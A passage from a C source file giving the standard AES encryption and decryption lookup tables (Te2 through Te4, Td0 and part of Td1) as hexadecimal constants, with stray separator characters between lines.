0x30506030U, 0x01030201U, 0x67a9ce67U, 0x2b7d562bU,
|
||||
0xfe19e7feU, 0xd762b5d7U, 0xabe64dabU, 0x769aec76U,
|
||||
0xca458fcaU, 0x829d1f82U, 0xc94089c9U, 0x7d87fa7dU,
|
||||
0xfa15effaU, 0x59ebb259U, 0x47c98e47U, 0xf00bfbf0U,
|
||||
0xadec41adU, 0xd467b3d4U, 0xa2fd5fa2U, 0xafea45afU,
|
||||
0x9cbf239cU, 0xa4f753a4U, 0x7296e472U, 0xc05b9bc0U,
|
||||
0xb7c275b7U, 0xfd1ce1fdU, 0x93ae3d93U, 0x266a4c26U,
|
||||
0x365a6c36U, 0x3f417e3fU, 0xf702f5f7U, 0xcc4f83ccU,
|
||||
0x345c6834U, 0xa5f451a5U, 0xe534d1e5U, 0xf108f9f1U,
|
||||
0x7193e271U, 0xd873abd8U, 0x31536231U, 0x153f2a15U,
|
||||
0x040c0804U, 0xc75295c7U, 0x23654623U, 0xc35e9dc3U,
|
||||
0x18283018U, 0x96a13796U, 0x050f0a05U, 0x9ab52f9aU,
|
||||
0x07090e07U, 0x12362412U, 0x809b1b80U, 0xe23ddfe2U,
|
||||
0xeb26cdebU, 0x27694e27U, 0xb2cd7fb2U, 0x759fea75U,
|
||||
0x091b1209U, 0x839e1d83U, 0x2c74582cU, 0x1a2e341aU,
|
||||
0x1b2d361bU, 0x6eb2dc6eU, 0x5aeeb45aU, 0xa0fb5ba0U,
|
||||
0x52f6a452U, 0x3b4d763bU, 0xd661b7d6U, 0xb3ce7db3U,
|
||||
0x297b5229U, 0xe33edde3U, 0x2f715e2fU, 0x84971384U,
|
||||
0x53f5a653U, 0xd168b9d1U, 0x00000000U, 0xed2cc1edU,
|
||||
0x20604020U, 0xfc1fe3fcU, 0xb1c879b1U, 0x5bedb65bU,
|
||||
0x6abed46aU, 0xcb468dcbU, 0xbed967beU, 0x394b7239U,
|
||||
0x4ade944aU, 0x4cd4984cU, 0x58e8b058U, 0xcf4a85cfU,
|
||||
0xd06bbbd0U, 0xef2ac5efU, 0xaae54faaU, 0xfb16edfbU,
|
||||
0x43c58643U, 0x4dd79a4dU, 0x33556633U, 0x85941185U,
|
||||
0x45cf8a45U, 0xf910e9f9U, 0x02060402U, 0x7f81fe7fU,
|
||||
0x50f0a050U, 0x3c44783cU, 0x9fba259fU, 0xa8e34ba8U,
|
||||
0x51f3a251U, 0xa3fe5da3U, 0x40c08040U, 0x8f8a058fU,
|
||||
0x92ad3f92U, 0x9dbc219dU, 0x38487038U, 0xf504f1f5U,
|
||||
0xbcdf63bcU, 0xb6c177b6U, 0xda75afdaU, 0x21634221U,
|
||||
0x10302010U, 0xff1ae5ffU, 0xf30efdf3U, 0xd26dbfd2U,
|
||||
0xcd4c81cdU, 0x0c14180cU, 0x13352613U, 0xec2fc3ecU,
|
||||
0x5fe1be5fU, 0x97a23597U, 0x44cc8844U, 0x17392e17U,
|
||||
0xc45793c4U, 0xa7f255a7U, 0x7e82fc7eU, 0x3d477a3dU,
|
||||
0x64acc864U, 0x5de7ba5dU, 0x192b3219U, 0x7395e673U,
|
||||
0x60a0c060U, 0x81981981U, 0x4fd19e4fU, 0xdc7fa3dcU,
|
||||
0x22664422U, 0x2a7e542aU, 0x90ab3b90U, 0x88830b88U,
|
||||
0x46ca8c46U, 0xee29c7eeU, 0xb8d36bb8U, 0x143c2814U,
|
||||
0xde79a7deU, 0x5ee2bc5eU, 0x0b1d160bU, 0xdb76addbU,
|
||||
0xe03bdbe0U, 0x32566432U, 0x3a4e743aU, 0x0a1e140aU,
|
||||
0x49db9249U, 0x060a0c06U, 0x246c4824U, 0x5ce4b85cU,
|
||||
0xc25d9fc2U, 0xd36ebdd3U, 0xacef43acU, 0x62a6c462U,
|
||||
0x91a83991U, 0x95a43195U, 0xe437d3e4U, 0x798bf279U,
|
||||
0xe732d5e7U, 0xc8438bc8U, 0x37596e37U, 0x6db7da6dU,
|
||||
0x8d8c018dU, 0xd564b1d5U, 0x4ed29c4eU, 0xa9e049a9U,
|
||||
0x6cb4d86cU, 0x56faac56U, 0xf407f3f4U, 0xea25cfeaU,
|
||||
0x65afca65U, 0x7a8ef47aU, 0xaee947aeU, 0x08181008U,
|
||||
0xbad56fbaU, 0x7888f078U, 0x256f4a25U, 0x2e725c2eU,
|
||||
0x1c24381cU, 0xa6f157a6U, 0xb4c773b4U, 0xc65197c6U,
|
||||
0xe823cbe8U, 0xdd7ca1ddU, 0x749ce874U, 0x1f213e1fU,
|
||||
0x4bdd964bU, 0xbddc61bdU, 0x8b860d8bU, 0x8a850f8aU,
|
||||
0x7090e070U, 0x3e427c3eU, 0xb5c471b5U, 0x66aacc66U,
|
||||
0x48d89048U, 0x03050603U, 0xf601f7f6U, 0x0e121c0eU,
|
||||
0x61a3c261U, 0x355f6a35U, 0x57f9ae57U, 0xb9d069b9U,
|
||||
0x86911786U, 0xc15899c1U, 0x1d273a1dU, 0x9eb9279eU,
|
||||
0xe138d9e1U, 0xf813ebf8U, 0x98b32b98U, 0x11332211U,
|
||||
0x69bbd269U, 0xd970a9d9U, 0x8e89078eU, 0x94a73394U,
|
||||
0x9bb62d9bU, 0x1e223c1eU, 0x87921587U, 0xe920c9e9U,
|
||||
0xce4987ceU, 0x55ffaa55U, 0x28785028U, 0xdf7aa5dfU,
|
||||
0x8c8f038cU, 0xa1f859a1U, 0x89800989U, 0x0d171a0dU,
|
||||
0xbfda65bfU, 0xe631d7e6U, 0x42c68442U, 0x68b8d068U,
|
||||
0x41c38241U, 0x99b02999U, 0x2d775a2dU, 0x0f111e0fU,
|
||||
0xb0cb7bb0U, 0x54fca854U, 0xbbd66dbbU, 0x163a2c16U,
|
||||
};
|
||||
|
||||
static const unsigned int Te3[256] =
|
||||
{
|
||||
0x6363a5c6U, 0x7c7c84f8U, 0x777799eeU, 0x7b7b8df6U,
|
||||
0xf2f20dffU, 0x6b6bbdd6U, 0x6f6fb1deU, 0xc5c55491U,
|
||||
0x30305060U, 0x01010302U, 0x6767a9ceU, 0x2b2b7d56U,
|
||||
0xfefe19e7U, 0xd7d762b5U, 0xababe64dU, 0x76769aecU,
|
||||
0xcaca458fU, 0x82829d1fU, 0xc9c94089U, 0x7d7d87faU,
|
||||
0xfafa15efU, 0x5959ebb2U, 0x4747c98eU, 0xf0f00bfbU,
|
||||
0xadadec41U, 0xd4d467b3U, 0xa2a2fd5fU, 0xafafea45U,
|
||||
0x9c9cbf23U, 0xa4a4f753U, 0x727296e4U, 0xc0c05b9bU,
|
||||
0xb7b7c275U, 0xfdfd1ce1U, 0x9393ae3dU, 0x26266a4cU,
|
||||
0x36365a6cU, 0x3f3f417eU, 0xf7f702f5U, 0xcccc4f83U,
|
||||
0x34345c68U, 0xa5a5f451U, 0xe5e534d1U, 0xf1f108f9U,
|
||||
0x717193e2U, 0xd8d873abU, 0x31315362U, 0x15153f2aU,
|
||||
0x04040c08U, 0xc7c75295U, 0x23236546U, 0xc3c35e9dU,
|
||||
0x18182830U, 0x9696a137U, 0x05050f0aU, 0x9a9ab52fU,
|
||||
0x0707090eU, 0x12123624U, 0x80809b1bU, 0xe2e23ddfU,
|
||||
0xebeb26cdU, 0x2727694eU, 0xb2b2cd7fU, 0x75759feaU,
|
||||
0x09091b12U, 0x83839e1dU, 0x2c2c7458U, 0x1a1a2e34U,
|
||||
0x1b1b2d36U, 0x6e6eb2dcU, 0x5a5aeeb4U, 0xa0a0fb5bU,
|
||||
0x5252f6a4U, 0x3b3b4d76U, 0xd6d661b7U, 0xb3b3ce7dU,
|
||||
0x29297b52U, 0xe3e33eddU, 0x2f2f715eU, 0x84849713U,
|
||||
0x5353f5a6U, 0xd1d168b9U, 0x00000000U, 0xeded2cc1U,
|
||||
0x20206040U, 0xfcfc1fe3U, 0xb1b1c879U, 0x5b5bedb6U,
|
||||
0x6a6abed4U, 0xcbcb468dU, 0xbebed967U, 0x39394b72U,
|
||||
0x4a4ade94U, 0x4c4cd498U, 0x5858e8b0U, 0xcfcf4a85U,
|
||||
0xd0d06bbbU, 0xefef2ac5U, 0xaaaae54fU, 0xfbfb16edU,
|
||||
0x4343c586U, 0x4d4dd79aU, 0x33335566U, 0x85859411U,
|
||||
0x4545cf8aU, 0xf9f910e9U, 0x02020604U, 0x7f7f81feU,
|
||||
0x5050f0a0U, 0x3c3c4478U, 0x9f9fba25U, 0xa8a8e34bU,
|
||||
0x5151f3a2U, 0xa3a3fe5dU, 0x4040c080U, 0x8f8f8a05U,
|
||||
0x9292ad3fU, 0x9d9dbc21U, 0x38384870U, 0xf5f504f1U,
|
||||
0xbcbcdf63U, 0xb6b6c177U, 0xdada75afU, 0x21216342U,
|
||||
0x10103020U, 0xffff1ae5U, 0xf3f30efdU, 0xd2d26dbfU,
|
||||
0xcdcd4c81U, 0x0c0c1418U, 0x13133526U, 0xecec2fc3U,
|
||||
0x5f5fe1beU, 0x9797a235U, 0x4444cc88U, 0x1717392eU,
|
||||
0xc4c45793U, 0xa7a7f255U, 0x7e7e82fcU, 0x3d3d477aU,
|
||||
0x6464acc8U, 0x5d5de7baU, 0x19192b32U, 0x737395e6U,
|
||||
0x6060a0c0U, 0x81819819U, 0x4f4fd19eU, 0xdcdc7fa3U,
|
||||
0x22226644U, 0x2a2a7e54U, 0x9090ab3bU, 0x8888830bU,
|
||||
0x4646ca8cU, 0xeeee29c7U, 0xb8b8d36bU, 0x14143c28U,
|
||||
0xdede79a7U, 0x5e5ee2bcU, 0x0b0b1d16U, 0xdbdb76adU,
|
||||
0xe0e03bdbU, 0x32325664U, 0x3a3a4e74U, 0x0a0a1e14U,
|
||||
0x4949db92U, 0x06060a0cU, 0x24246c48U, 0x5c5ce4b8U,
|
||||
0xc2c25d9fU, 0xd3d36ebdU, 0xacacef43U, 0x6262a6c4U,
|
||||
0x9191a839U, 0x9595a431U, 0xe4e437d3U, 0x79798bf2U,
|
||||
0xe7e732d5U, 0xc8c8438bU, 0x3737596eU, 0x6d6db7daU,
|
||||
0x8d8d8c01U, 0xd5d564b1U, 0x4e4ed29cU, 0xa9a9e049U,
|
||||
0x6c6cb4d8U, 0x5656faacU, 0xf4f407f3U, 0xeaea25cfU,
|
||||
0x6565afcaU, 0x7a7a8ef4U, 0xaeaee947U, 0x08081810U,
|
||||
0xbabad56fU, 0x787888f0U, 0x25256f4aU, 0x2e2e725cU,
|
||||
0x1c1c2438U, 0xa6a6f157U, 0xb4b4c773U, 0xc6c65197U,
|
||||
0xe8e823cbU, 0xdddd7ca1U, 0x74749ce8U, 0x1f1f213eU,
|
||||
0x4b4bdd96U, 0xbdbddc61U, 0x8b8b860dU, 0x8a8a850fU,
|
||||
0x707090e0U, 0x3e3e427cU, 0xb5b5c471U, 0x6666aaccU,
|
||||
0x4848d890U, 0x03030506U, 0xf6f601f7U, 0x0e0e121cU,
|
||||
0x6161a3c2U, 0x35355f6aU, 0x5757f9aeU, 0xb9b9d069U,
|
||||
0x86869117U, 0xc1c15899U, 0x1d1d273aU, 0x9e9eb927U,
|
||||
0xe1e138d9U, 0xf8f813ebU, 0x9898b32bU, 0x11113322U,
|
||||
0x6969bbd2U, 0xd9d970a9U, 0x8e8e8907U, 0x9494a733U,
|
||||
0x9b9bb62dU, 0x1e1e223cU, 0x87879215U, 0xe9e920c9U,
|
||||
0xcece4987U, 0x5555ffaaU, 0x28287850U, 0xdfdf7aa5U,
|
||||
0x8c8c8f03U, 0xa1a1f859U, 0x89898009U, 0x0d0d171aU,
|
||||
0xbfbfda65U, 0xe6e631d7U, 0x4242c684U, 0x6868b8d0U,
|
||||
0x4141c382U, 0x9999b029U, 0x2d2d775aU, 0x0f0f111eU,
|
||||
0xb0b0cb7bU, 0x5454fca8U, 0xbbbbd66dU, 0x16163a2cU,
|
||||
};
|
||||
|
||||
static const unsigned int Te4[256] =
|
||||
{
|
||||
0x63636363U, 0x7c7c7c7cU, 0x77777777U, 0x7b7b7b7bU,
|
||||
0xf2f2f2f2U, 0x6b6b6b6bU, 0x6f6f6f6fU, 0xc5c5c5c5U,
|
||||
0x30303030U, 0x01010101U, 0x67676767U, 0x2b2b2b2bU,
|
||||
0xfefefefeU, 0xd7d7d7d7U, 0xababababU, 0x76767676U,
|
||||
0xcacacacaU, 0x82828282U, 0xc9c9c9c9U, 0x7d7d7d7dU,
|
||||
0xfafafafaU, 0x59595959U, 0x47474747U, 0xf0f0f0f0U,
|
||||
0xadadadadU, 0xd4d4d4d4U, 0xa2a2a2a2U, 0xafafafafU,
|
||||
0x9c9c9c9cU, 0xa4a4a4a4U, 0x72727272U, 0xc0c0c0c0U,
|
||||
0xb7b7b7b7U, 0xfdfdfdfdU, 0x93939393U, 0x26262626U,
|
||||
0x36363636U, 0x3f3f3f3fU, 0xf7f7f7f7U, 0xccccccccU,
|
||||
0x34343434U, 0xa5a5a5a5U, 0xe5e5e5e5U, 0xf1f1f1f1U,
|
||||
0x71717171U, 0xd8d8d8d8U, 0x31313131U, 0x15151515U,
|
||||
0x04040404U, 0xc7c7c7c7U, 0x23232323U, 0xc3c3c3c3U,
|
||||
0x18181818U, 0x96969696U, 0x05050505U, 0x9a9a9a9aU,
|
||||
0x07070707U, 0x12121212U, 0x80808080U, 0xe2e2e2e2U,
|
||||
0xebebebebU, 0x27272727U, 0xb2b2b2b2U, 0x75757575U,
|
||||
0x09090909U, 0x83838383U, 0x2c2c2c2cU, 0x1a1a1a1aU,
|
||||
0x1b1b1b1bU, 0x6e6e6e6eU, 0x5a5a5a5aU, 0xa0a0a0a0U,
|
||||
0x52525252U, 0x3b3b3b3bU, 0xd6d6d6d6U, 0xb3b3b3b3U,
|
||||
0x29292929U, 0xe3e3e3e3U, 0x2f2f2f2fU, 0x84848484U,
|
||||
0x53535353U, 0xd1d1d1d1U, 0x00000000U, 0xededededU,
|
||||
0x20202020U, 0xfcfcfcfcU, 0xb1b1b1b1U, 0x5b5b5b5bU,
|
||||
0x6a6a6a6aU, 0xcbcbcbcbU, 0xbebebebeU, 0x39393939U,
|
||||
0x4a4a4a4aU, 0x4c4c4c4cU, 0x58585858U, 0xcfcfcfcfU,
|
||||
0xd0d0d0d0U, 0xefefefefU, 0xaaaaaaaaU, 0xfbfbfbfbU,
|
||||
0x43434343U, 0x4d4d4d4dU, 0x33333333U, 0x85858585U,
|
||||
0x45454545U, 0xf9f9f9f9U, 0x02020202U, 0x7f7f7f7fU,
|
||||
0x50505050U, 0x3c3c3c3cU, 0x9f9f9f9fU, 0xa8a8a8a8U,
|
||||
0x51515151U, 0xa3a3a3a3U, 0x40404040U, 0x8f8f8f8fU,
|
||||
0x92929292U, 0x9d9d9d9dU, 0x38383838U, 0xf5f5f5f5U,
|
||||
0xbcbcbcbcU, 0xb6b6b6b6U, 0xdadadadaU, 0x21212121U,
|
||||
0x10101010U, 0xffffffffU, 0xf3f3f3f3U, 0xd2d2d2d2U,
|
||||
0xcdcdcdcdU, 0x0c0c0c0cU, 0x13131313U, 0xececececU,
|
||||
0x5f5f5f5fU, 0x97979797U, 0x44444444U, 0x17171717U,
|
||||
0xc4c4c4c4U, 0xa7a7a7a7U, 0x7e7e7e7eU, 0x3d3d3d3dU,
|
||||
0x64646464U, 0x5d5d5d5dU, 0x19191919U, 0x73737373U,
|
||||
0x60606060U, 0x81818181U, 0x4f4f4f4fU, 0xdcdcdcdcU,
|
||||
0x22222222U, 0x2a2a2a2aU, 0x90909090U, 0x88888888U,
|
||||
0x46464646U, 0xeeeeeeeeU, 0xb8b8b8b8U, 0x14141414U,
|
||||
0xdedededeU, 0x5e5e5e5eU, 0x0b0b0b0bU, 0xdbdbdbdbU,
|
||||
0xe0e0e0e0U, 0x32323232U, 0x3a3a3a3aU, 0x0a0a0a0aU,
|
||||
0x49494949U, 0x06060606U, 0x24242424U, 0x5c5c5c5cU,
|
||||
0xc2c2c2c2U, 0xd3d3d3d3U, 0xacacacacU, 0x62626262U,
|
||||
0x91919191U, 0x95959595U, 0xe4e4e4e4U, 0x79797979U,
|
||||
0xe7e7e7e7U, 0xc8c8c8c8U, 0x37373737U, 0x6d6d6d6dU,
|
||||
0x8d8d8d8dU, 0xd5d5d5d5U, 0x4e4e4e4eU, 0xa9a9a9a9U,
|
||||
0x6c6c6c6cU, 0x56565656U, 0xf4f4f4f4U, 0xeaeaeaeaU,
|
||||
0x65656565U, 0x7a7a7a7aU, 0xaeaeaeaeU, 0x08080808U,
|
||||
0xbabababaU, 0x78787878U, 0x25252525U, 0x2e2e2e2eU,
|
||||
0x1c1c1c1cU, 0xa6a6a6a6U, 0xb4b4b4b4U, 0xc6c6c6c6U,
|
||||
0xe8e8e8e8U, 0xddddddddU, 0x74747474U, 0x1f1f1f1fU,
|
||||
0x4b4b4b4bU, 0xbdbdbdbdU, 0x8b8b8b8bU, 0x8a8a8a8aU,
|
||||
0x70707070U, 0x3e3e3e3eU, 0xb5b5b5b5U, 0x66666666U,
|
||||
0x48484848U, 0x03030303U, 0xf6f6f6f6U, 0x0e0e0e0eU,
|
||||
0x61616161U, 0x35353535U, 0x57575757U, 0xb9b9b9b9U,
|
||||
0x86868686U, 0xc1c1c1c1U, 0x1d1d1d1dU, 0x9e9e9e9eU,
|
||||
0xe1e1e1e1U, 0xf8f8f8f8U, 0x98989898U, 0x11111111U,
|
||||
0x69696969U, 0xd9d9d9d9U, 0x8e8e8e8eU, 0x94949494U,
|
||||
0x9b9b9b9bU, 0x1e1e1e1eU, 0x87878787U, 0xe9e9e9e9U,
|
||||
0xcecececeU, 0x55555555U, 0x28282828U, 0xdfdfdfdfU,
|
||||
0x8c8c8c8cU, 0xa1a1a1a1U, 0x89898989U, 0x0d0d0d0dU,
|
||||
0xbfbfbfbfU, 0xe6e6e6e6U, 0x42424242U, 0x68686868U,
|
||||
0x41414141U, 0x99999999U, 0x2d2d2d2dU, 0x0f0f0f0fU,
|
||||
0xb0b0b0b0U, 0x54545454U, 0xbbbbbbbbU, 0x16161616U,
|
||||
};
|
||||
|
||||
static const unsigned int Td0[256] =
|
||||
{
|
||||
0x51f4a750U, 0x7e416553U, 0x1a17a4c3U, 0x3a275e96U,
|
||||
0x3bab6bcbU, 0x1f9d45f1U, 0xacfa58abU, 0x4be30393U,
|
||||
0x2030fa55U, 0xad766df6U, 0x88cc7691U, 0xf5024c25U,
|
||||
0x4fe5d7fcU, 0xc52acbd7U, 0x26354480U, 0xb562a38fU,
|
||||
0xdeb15a49U, 0x25ba1b67U, 0x45ea0e98U, 0x5dfec0e1U,
|
||||
0xc32f7502U, 0x814cf012U, 0x8d4697a3U, 0x6bd3f9c6U,
|
||||
0x038f5fe7U, 0x15929c95U, 0xbf6d7aebU, 0x955259daU,
|
||||
0xd4be832dU, 0x587421d3U, 0x49e06929U, 0x8ec9c844U,
|
||||
0x75c2896aU, 0xf48e7978U, 0x99583e6bU, 0x27b971ddU,
|
||||
0xbee14fb6U, 0xf088ad17U, 0xc920ac66U, 0x7dce3ab4U,
|
||||
0x63df4a18U, 0xe51a3182U, 0x97513360U, 0x62537f45U,
|
||||
0xb16477e0U, 0xbb6bae84U, 0xfe81a01cU, 0xf9082b94U,
|
||||
0x70486858U, 0x8f45fd19U, 0x94de6c87U, 0x527bf8b7U,
|
||||
0xab73d323U, 0x724b02e2U, 0xe31f8f57U, 0x6655ab2aU,
|
||||
0xb2eb2807U, 0x2fb5c203U, 0x86c57b9aU, 0xd33708a5U,
|
||||
0x302887f2U, 0x23bfa5b2U, 0x02036abaU, 0xed16825cU,
|
||||
0x8acf1c2bU, 0xa779b492U, 0xf307f2f0U, 0x4e69e2a1U,
|
||||
0x65daf4cdU, 0x0605bed5U, 0xd134621fU, 0xc4a6fe8aU,
|
||||
0x342e539dU, 0xa2f355a0U, 0x058ae132U, 0xa4f6eb75U,
|
||||
0x0b83ec39U, 0x4060efaaU, 0x5e719f06U, 0xbd6e1051U,
|
||||
0x3e218af9U, 0x96dd063dU, 0xdd3e05aeU, 0x4de6bd46U,
|
||||
0x91548db5U, 0x71c45d05U, 0x0406d46fU, 0x605015ffU,
|
||||
0x1998fb24U, 0xd6bde997U, 0x894043ccU, 0x67d99e77U,
|
||||
0xb0e842bdU, 0x07898b88U, 0xe7195b38U, 0x79c8eedbU,
|
||||
0xa17c0a47U, 0x7c420fe9U, 0xf8841ec9U, 0x00000000U,
|
||||
0x09808683U, 0x322bed48U, 0x1e1170acU, 0x6c5a724eU,
|
||||
0xfd0efffbU, 0x0f853856U, 0x3daed51eU, 0x362d3927U,
|
||||
0x0a0fd964U, 0x685ca621U, 0x9b5b54d1U, 0x24362e3aU,
|
||||
0x0c0a67b1U, 0x9357e70fU, 0xb4ee96d2U, 0x1b9b919eU,
|
||||
0x80c0c54fU, 0x61dc20a2U, 0x5a774b69U, 0x1c121a16U,
|
||||
0xe293ba0aU, 0xc0a02ae5U, 0x3c22e043U, 0x121b171dU,
|
||||
0x0e090d0bU, 0xf28bc7adU, 0x2db6a8b9U, 0x141ea9c8U,
|
||||
0x57f11985U, 0xaf75074cU, 0xee99ddbbU, 0xa37f60fdU,
|
||||
0xf701269fU, 0x5c72f5bcU, 0x44663bc5U, 0x5bfb7e34U,
|
||||
0x8b432976U, 0xcb23c6dcU, 0xb6edfc68U, 0xb8e4f163U,
|
||||
0xd731dccaU, 0x42638510U, 0x13972240U, 0x84c61120U,
|
||||
0x854a247dU, 0xd2bb3df8U, 0xaef93211U, 0xc729a16dU,
|
||||
0x1d9e2f4bU, 0xdcb230f3U, 0x0d8652ecU, 0x77c1e3d0U,
|
||||
0x2bb3166cU, 0xa970b999U, 0x119448faU, 0x47e96422U,
|
||||
0xa8fc8cc4U, 0xa0f03f1aU, 0x567d2cd8U, 0x223390efU,
|
||||
0x87494ec7U, 0xd938d1c1U, 0x8ccaa2feU, 0x98d40b36U,
|
||||
0xa6f581cfU, 0xa57ade28U, 0xdab78e26U, 0x3fadbfa4U,
|
||||
0x2c3a9de4U, 0x5078920dU, 0x6a5fcc9bU, 0x547e4662U,
|
||||
0xf68d13c2U, 0x90d8b8e8U, 0x2e39f75eU, 0x82c3aff5U,
|
||||
0x9f5d80beU, 0x69d0937cU, 0x6fd52da9U, 0xcf2512b3U,
|
||||
0xc8ac993bU, 0x10187da7U, 0xe89c636eU, 0xdb3bbb7bU,
|
||||
0xcd267809U, 0x6e5918f4U, 0xec9ab701U, 0x834f9aa8U,
|
||||
0xe6956e65U, 0xaaffe67eU, 0x21bccf08U, 0xef15e8e6U,
|
||||
0xbae79bd9U, 0x4a6f36ceU, 0xea9f09d4U, 0x29b07cd6U,
|
||||
0x31a4b2afU, 0x2a3f2331U, 0xc6a59430U, 0x35a266c0U,
|
||||
0x744ebc37U, 0xfc82caa6U, 0xe090d0b0U, 0x33a7d815U,
|
||||
0xf104984aU, 0x41ecdaf7U, 0x7fcd500eU, 0x1791f62fU,
|
||||
0x764dd68dU, 0x43efb04dU, 0xccaa4d54U, 0xe49604dfU,
|
||||
0x9ed1b5e3U, 0x4c6a881bU, 0xc12c1fb8U, 0x4665517fU,
|
||||
0x9d5eea04U, 0x018c355dU, 0xfa877473U, 0xfb0b412eU,
|
||||
0xb3671d5aU, 0x92dbd252U, 0xe9105633U, 0x6dd64713U,
|
||||
0x9ad7618cU, 0x37a10c7aU, 0x59f8148eU, 0xeb133c89U,
|
||||
0xcea927eeU, 0xb761c935U, 0xe11ce5edU, 0x7a47b13cU,
|
||||
0x9cd2df59U, 0x55f2733fU, 0x1814ce79U, 0x73c737bfU,
|
||||
0x53f7cdeaU, 0x5ffdaa5bU, 0xdf3d6f14U, 0x7844db86U,
|
||||
0xcaaff381U, 0xb968c43eU, 0x3824342cU, 0xc2a3405fU,
|
||||
0x161dc372U, 0xbce2250cU, 0x283c498bU, 0xff0d9541U,
|
||||
0x39a80171U, 0x080cb3deU, 0xd8b4e49cU, 0x6456c190U,
|
||||
0x7bcb8461U, 0xd532b670U, 0x486c5c74U, 0xd0b85742U,
|
||||
};
|
||||
|
||||
static const unsigned int Td1[256] =
|
||||
{
|
||||
0x5051f4a7U, 0x537e4165U, 0xc31a17a4U, 0x963a275eU,
|
||||
0xcb3bab6bU, 0xf11f9d45U, 0xabacfa58U, 0x934be303U,
|
||||
0x552030faU, 0xf6ad766dU, 0x9188cc76U, 0x25f5024cU,
|
||||
0xfc4fe5d7U, 0xd7c52acbU, 0x80263544U, 0x8fb562a3U,
|
||||
0x49deb15aU, 0x6725ba1bU, 0x9845ea0eU, 0xe15dfec0U,
|
||||
0x02c32f75U, 0x12814cf0U, 0xa38d4697U, 0xc66bd3f9U,
|
||||
0xe7038f5fU, 0x9515929cU, 0xebbf6d7aU, 0xda955259U,
|
||||
0x2dd4be83U, 0xd3587421U, 0x2949e069U, 0x448ec9c8U,
|
||||
0x6a75c289U, 0x78f48e79U, 0x6b99583eU, 0xdd27b971U,
|
||||
0xb6bee14fU, 0x17f088adU, 0x66c920acU, 0xb47dce3aU,
|
||||
0x1863df4aU, 0x82e51a31U, 0x60975133U, 0x4562537fU,
|
||||
0xe0b16477U, 0x84bb6baeU, 0x1cfe81a0U, 0x94f9082bU,
|
||||
0x58704868U, 0x198f45fdU, 0x8794de6cU, 0xb7527bf8U,
|
||||
0x23ab73d3U, 0xe2724b02U, 0x57e31f8fU, 0x2a6655abU,
|
||||
0x07b2eb28U, 0x032fb5c2U, 0x9a86c57bU, 0xa5d33708U,
|
||||
0xf2302887U, 0xb223bfa5U, 0xba02036aU, 0x5ced1682U,
|
||||
0x2b8acf1cU, 0x92a779b4U, 0xf0f307f2U, 0xa14e69e2U,
|
||||
0xcd65daf4U, 0xd50605beU, 0x1fd13462U, 0x8ac4a6feU,
|
||||
0x9d342e53U, 0xa0a2f355U, 0x32058ae1U, 0x75a4f6ebU,
|
||||
0x390b83ecU, 0xaa4060efU, 0x065e719fU, 0x51bd6e10U,
|
||||
0xf93e218aU, 0x3d96dd06U, 0xaedd3e05U, 0x464de6bdU,
|
||||
0xb591548dU, 0x0571c45dU, 0x6f0406d4U, 0xff605015U,
|
||||
0x241998fbU, 0x97d6bde9U, 0xcc894043U, 0x7767d99eU,
|
||||
0xbdb0e842U, 0x8807898bU, 0x38e7195bU, 0xdb79c8eeU,
|
||||
0x47a17c0aU, 0xe97c420fU, 0xc9f8841eU, 0x00000000U,
|
||||
0x83098086U, 0x48322bedU, 0xac1e1170U, 0x4e6c5a72U,
|
||||
0xfbfd0effU, 0x560f8538U, 0x1e3daed5U, 0x27362d39U,
|
||||
0x640a0fd9U, 0x21685ca6U, 0xd19b5b54U, 0x3a24362eU,
|
||||
0xb10c0a67U, 0x0f9357e7U, 0xd2b4ee96U, 0x9e1b9b91U,
|
||||
0x4f80c0c5U, 0xa261dc20U, 0x695a774bU, 0x161c121aU,
|
||||
0x0ae293baU, 0xe5c0a02aU, 0x433c22e0U, 0x1d121b17U,
|
||||
0x0b0e090dU, 0xadf28bc7U, 0xb92db6a8U, 0xc8141ea9U,
|
||||
0x8557f119U, 0x4caf7507U, 0xbbee99ddU, 0xfda37f60U,
|
||||
0x9ff70126U, 0xbc5c72f5U, 0xc544663bU, 0x345bfb7eU,
|
||||
0x768b4329U, 0xdccb23c6U, 0x68b6edfcU, 0x63b8e4f1U,
|
||||
0xcad731dcU, 0x10426385U, 0x40139722U, 0x2084c611U,
|
||||
0x7d854a24U, 0xf8d2bb3dU, 0x11aef932U, 0x6dc729a1U,
|
||||
0x4b1d9e2fU, 0xf3dcb230U, 0xec0d8652U, 0xd077c1e3U,
|
||||
0x6c2bb316U, 0x99a970b9U, 0xfa119448U, 0x2247e964U,
|
||||
0xc4a8fc8cU, 0x1aa0f03fU, 0xd8567d2cU, 0xef223390U,
|
||||
0xc787494eU, 0xc1d938d1U, 0xfe8ccaa2U, 0x3698d40bU,
|
||||
0xcfa6f581U, 0x28a57adeU, 0x26dab78eU, 0xa43fadbfU,
|
||||
0xe42c3a9dU, 0x0d507892U, 0x9b6a5fccU, 0x62547e46U,
|
||||
0xc2f68d13U, 0xe890d8b8U, 0x5e2e39f7U, 0xf582c3afU,
|
||||
0xbe9f5d80U, 0x7c69d093U, 0xa96fd52dU, 0xb3cf2512U,
|
||||
0x3bc8ac99U, 0xa710187dU, 0x6ee89c63U, 0x7bdb3bbbU,
|
||||
0x09cd2678U, 0xf46e5918U, 0x01ec9ab7U, 0xa8834f9aU,
|
||||
0x65e6956eU, 0x7eaaffe6U, 0x0821bccfU, 0xe6ef15e8U,
|
||||
0xd9bae79bU, 0xce4a6f36U, 0xd4ea9f09U, 0xd629b07cU,
|
||||
0xaf31a4b2U, 0x312a3f23U, 0x30c6a594U, 0xc035a266U,
|
||||
0x37744ebcU, 0xa6fc82caU, 0xb0e090d0U, 0x1533a7d8U,
|
||||
0x4af10498U, 0xf741ecdaU, 0x0e7fcd50U, 0x2f1791f6U,
|
||||
0x8d764dd6U, 0x4d43efb0U, 0x54ccaa4dU, 0xdfe49604U,
|
||||
0xe39ed1b5U, 0x1b4c6a88U, 0xb8c12c1fU, 0x7f466551U,
|
||||
0x049d5eeaU, 0x5d018c35U, 0x73fa8774U, 0x2efb0b41U,
|
||||
0x5ab3671dU, 0x5292dbd2U, 0x33e91056U, 0x136dd647U,
|
||||
0x8c9ad761U, 0x7a37a10cU, 0x8e59f814U, 0x89eb133cU,
|
||||
0xeecea927U, 0x35b761c9U, 0xede11ce5U, 0x3c7a47b1U,
|
||||
0x599cd2dfU, 0x3f55f273U, 0x791814ceU, 0xbf73c737U,
|
||||
0xea53f7cdU, 0x5b5ffdaaU, 0x14df3d6fU, 0x867844dbU,
|
||||
0x81caaff3U, 0x3eb968c4U, 0x2c382434U, 0x5fc2a340U,
|
||||
0x72161dc3U, 0x0cbce225U, 0x8b283c49U, 0x41ff0d95U,
|
